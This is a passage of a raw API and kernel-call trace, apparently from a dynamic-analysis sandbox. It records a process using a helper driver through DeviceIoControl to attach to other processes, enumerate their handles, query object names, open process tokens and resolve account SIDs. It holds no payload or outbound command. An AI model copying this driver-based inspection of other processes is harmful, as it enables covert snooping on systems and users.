ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0137.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.917] PsReleaseProcessExitSynchronization () returned 0x2 [0137.917] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.917] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.917] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0137.917] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x370b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0137.918] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.918] PsAcquireProcessExitSynchronization () returned 0x0 [0137.918] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054735d0) [0137.918] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003310070, HandleInformation=0x0) returned 0x0 [0137.918] ObfDereferenceObject (Object=0xfffffa8003310070) returned 0x3 [0137.918] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.918] PsReleaseProcessExitSynchronization () returned 0x2 [0137.918] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0137.918] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.918] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0137.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.918] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0137.918] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.918] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0137.918] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.918] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.918] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.918] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.918] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.919] CloseHandle (hObject=0xc8) returned 1 [0137.920] CloseHandle (hObject=0xc0) returned 1 [0137.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.920] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.920] PsAcquireProcessExitSynchronization () returned 0x0 [0137.920] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.920] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0137.920] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.920] PsReleaseProcessExitSynchronization () returned 0x2 [0137.920] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.920] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.920] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0137.920] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.920] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.920] PsAcquireProcessExitSynchronization () returned 0x0 [0137.920] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.920] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0137.920] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.920] PsReleaseProcessExitSynchronization () returned 0x2 [0137.920] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.920] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.920] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0137.920] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.920] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.920] PsAcquireProcessExitSynchronization () returned 0x0 [0137.921] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.921] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.921] PsReleaseProcessExitSynchronization () returned 0x2 [0137.921] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.921] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.921] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.921] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.921] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.921] PsAcquireProcessExitSynchronization () returned 0x0 [0137.921] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.921] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0137.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.921] PsReleaseProcessExitSynchronization () returned 0x2 [0137.921] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.921] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.921] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0137.921] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.921] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.921] PsAcquireProcessExitSynchronization () returned 0x0 [0137.921] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.921] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0137.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.921] PsReleaseProcessExitSynchronization () returned 0x2 [0137.921] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.922] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.922] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0137.922] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0137.922] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.922] PsAcquireProcessExitSynchronization () returned 0x0 [0137.922] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.922] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0137.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.922] PsReleaseProcessExitSynchronization () returned 0x2 [0137.922] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.922] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.922] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0137.922] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.922] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.922] PsAcquireProcessExitSynchronization () returned 0x0 [0137.922] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.922] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0137.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.922] PsReleaseProcessExitSynchronization () returned 0x2 [0137.922] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.922] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.922] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0137.922] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.922] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.922] PsAcquireProcessExitSynchronization () returned 0x0 [0137.923] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.923] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.923] PsReleaseProcessExitSynchronization () returned 0x2 [0137.923] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.923] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0137.923] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.923] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0137.923] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.923] PsAcquireProcessExitSynchronization () returned 0x0 [0137.923] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.923] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0137.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.923] PsReleaseProcessExitSynchronization () returned 0x2 [0137.923] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.923] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0137.923] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0137.923] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.923] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.923] PsAcquireProcessExitSynchronization () returned 0x0 [0137.923] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.923] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.923] PsReleaseProcessExitSynchronization () returned 0x2 [0137.923] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.923] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.923] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.923] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.924] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.924] PsAcquireProcessExitSynchronization () returned 0x0 [0137.924] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054735d0) [0137.924] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0137.924] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.924] PsReleaseProcessExitSynchronization () returned 0x2 [0137.924] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0137.924] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.924] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0137.924] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.924] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0137.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.924] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0137.924] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.924] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x83 [0137.924] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.924] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.924] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.924] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.924] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.926] CloseHandle (hObject=0xc8) returned 1 [0137.926] CloseHandle (hObject=0xc0) returned 1 [0137.926] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.926] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.926] PsAcquireProcessExitSynchronization () returned 0x0 [0137.926] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0) [0137.926] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: 